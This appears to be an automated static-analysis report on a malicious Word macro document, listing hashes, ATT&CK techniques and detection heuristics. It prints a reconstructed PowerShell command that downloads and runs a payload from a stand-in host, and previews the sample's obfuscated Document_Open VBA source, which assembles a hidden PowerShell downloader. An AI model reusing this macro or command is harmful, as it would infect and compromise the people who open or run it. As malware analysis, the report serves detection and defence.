Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c478cc6b4cca3c0d…

MALICIOUS

Office (OLE)

237.2 KB Created: 2018-07-09 19:32:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 331d046b445c4e770b263963ee4c8761 SHA-1: e45a910e64bab2e47a4a8d272f6c7309febf953b SHA-256: c478cc6b4cca3c0d6d9ff8d071b4f933dfcc34706514f50a26fd9f585e5a6731
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This macro constructs and executes a PowerShell command to download and run a second-stage payload from a remote URL. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')"'. This indicates a downloader or dropper functionality.

Heuristics 5

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16761 bytes
SHA-256: 48353fe1f159179c6459939bdc86ef23942f61c47ac5839e0e11425e0d91fd36
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lwRvGSGoGTzaC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   wVrvw = LIruH / kJBZC * fzWoL + vBGtz + KuFrd - tYArV + 11920 - TjMDYO - (36851 - KNBBJJ - AzPRJZ - Nwsfvj)
   ndQws = izhijn / jEqUzN * CcDzR + WQKsTm + vaXkL - DSzhm + 54640 - kjsBLw - (36722 - MKZTh - GRnoL - lDGjFJ)
   wBMtb = (65830 * jZLwC * IzJPI / 97221 + (4111 / RsiHq / 51504 + UqiofZ * (27109 * qBpmi)))
   NMfDK = (93438 * ApSbv * JhllHL / 22397 + (67046 / HWruvT / 25947 + MXtBf * (34408 * mPsvqs)))
pUzwVhH ("" + CuQUiwp + hVTwjPwR + IJXYOpfCd + GacpF + ilukfzQGflj + ivIQEfTGjjF + QBFnWGEC)
   PJwrSP = (85683 * mSNLAK * OhEnUv / 24782 + (38695 / zrpDWO / 99343 + ERsHFn * (2096 * owSpzE)))
End Sub


Attribute VB_Name = "pHZzPJiCoYraap"
Function IJXYOpfCd()
On Error Resume Next
CWbbE = (JzzIv / iXWdPJ + ISJqO * lctuP / 58777 - tdnzYW + 32694 - 44457 / (cZWHoT - OlhzjB + 13442 - jNCTiQ))
RMbiXfBVo = "pow" + UnAkYFtsoKp + GlRziIihrs + "e" + QLUzoiXqsnBSsq + EuqRJMGRCjlwz + "rs" + udqHuZvAcSt + kzGocucwBF + "he" + ECvFwar + GoBimOJu + "ll " + QlmhDczUETjtYG + WAujrBfKdKFFp + "&"
CnFTS = 34022 - sdwGm / (cNQufw - 86095 * 18752 * iHOFcD + 86015 - siZBi)
hfaFfRWKPjl = " (" + kXAIRilPDhQu + tnJCFwFMoSz + "(Gv" + bNazHzI + sBiAWzBvnw + " " + lmrcAUhYi + LcJBdjIw + "'*M" + UuHTFbGLtiA + qbiVGcaWpJtWX + "Dr*" + YLiBLlQrkIvtbM + HSoTauO + "')" + bKikOwhOIm + zhCZkwM + ".Na" + zJAGlDjuWizc + blGWLOfSaHDI + "mE["
tqvBrk = 52851 - iidtz / (mHkXR - 94652 * 52108 * dcAwEj + 66528 - CcSwAf)
   lwIaHb = 86622 - RLjSW / (roKFMT - 1920 * 90762 * uSlcAa + 98761 - GYpmU)
   jCjii = 86612 - PWWki / (vSPupQ - 27411 * 14727 * zssRr + 50214 - jtWzJY)
bdioqwt = "3" + QntCPFQwL + JvwEatLCrqNBa + "," + dOidXIibZcUEG + vFTmklwSZQN + "11" + cDmThZbCRiAfiU + FoEIPuHhnkE + ",2" + ENKzlwWqBXjSZi + HGRZrTcIA + "]-j" + wFfwVuGMUqft + kEQYppQ + "o" + jinHEllBz + alVaLYTRD + "I" + NwYGOLkKpSM + ShmCbjojmFazjq + "N'" + WwjmEQriz + RoRzNuVHdmQ + "')" + nvbrwHfUXu + jEvBqDEFJW + "(" + HMENiiiFIM + pAkqrFtu + "NE" + jqaFniMkKQE + lDRmpPNKUFmM + "W" + ONDdzWcfO + vwsXCiEjQwn + "-Ob"
EikTM = 69742 - twPwWG / (GkGGoi - 19776 * 90000 * VmRXi + 55599 - UaolYS)
   Tdziw = 63113 - BwvzzJ / (wvIJLP - 62404 * 90847 * EQVuX + 66156 - Oowzn)
NWmjcM = "jEC" + vmalVbldRcc + PGWdXQuRdmW + "t  " + hIAMFnQjNZo + lTnESvoswi + "S" + PujJSADTuu + FXocvChhizf + "Y" + ZUbdiiaXsqt + uYkbfqqJwv + "S" + wwAvlROH + jcpLMCFNjvwYH + "TE" + HSplUaZURmlZcG + YrBsIlTdnEl + "m" + PXprziwY + SHIXZbcc + ".io" + QXhGPoVw + QoKIBOwhdcaGCh + ".co" + zOuCKbiGvsqj + JzNYtdwz + "Mp"
bAYlX = LzWCvD + ETrmNm * (33462 / hLHQrL)
   ivzih = 19345 - zXioG / (JmoKE - 25323 * 17215 * NFSTa + 86782 - oEpzsj)
ahKEwzGizO = "REs" + OUlXNJjblhCHv + prjkzNizGau + "Sio" + UjfrJinbS + KLKcFPhludbAc + "N." + bjXizSUPHEBKw + DXcramCCsrs + "D" + nsjDISGDDnRZpw + DEiYQZEXkI + "ef" + hinEKZbOYz + GazjLSkqwfo + "l" + jiNoJTzN + ZzNPQUpzFC + "a" + qaULRXOaB + uavNaOi + "T" + YDakwDUVJ + jHRnnTzBbzHU + "eS" + SoUGPkbAjtmAkN + sQVGRmI + "T"
jjMjIS = aRcDJw + zDdWaw * (66924 / kHmYh)
   LakOF = injmcJ + Gvwij * (3890 / VdUYiz)
   GRcaSR = qlfOAP + vIiXXA * (76112 / jnYHqw)
VDEXmARnDRS = "r" + tklJZFB + tiRPtkwoaHoKIo + "eaM" + jhGMjHh + pBrAjBtdjqTX + "(" + kZpXKHulwFIs + HLlBihEiGnrFvh + "[" + MdazWmtkXfoEFm + izWYESsYjCTCj + "SY" + MMzsfSZZ + BdztzcUvA + "Ste" + LAtulBRUTrESTb + tNXEYBHC + "m" + fjZwHfcOAMEwt + FBZzLjRH + "." + idWZKsqFsWl + kZqFajDuTG + "I" + AhFdMNZFX + GoqTNtB + "o.m" + LjoYVaqbQj + ZGJLkcjILo + "em" + WjQkMqBS + HUshIlXwoqK + "o" + ihIcQUmKWidB + GOafwKww + "ry" + DUvkNAHBr + DENkzaQllPjW + "sT" + jOKNVjkrp + ZBwVbcJibDJNvz + "Re"
OaAOOl = XonDz + hSjio * (77902 / drvZI)
   MDCWzT = dmwnV + wLOnn * (45085 / TPKnW)
inhCNj = "A" + wsPzJUFDl + jRaWbknRrA + "M][" + wiYVWfbGlan + XDqlbPwwOEzDUT + "cO" + KTMQMQRkwj + cnIdzbDh + "nvE" + P
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.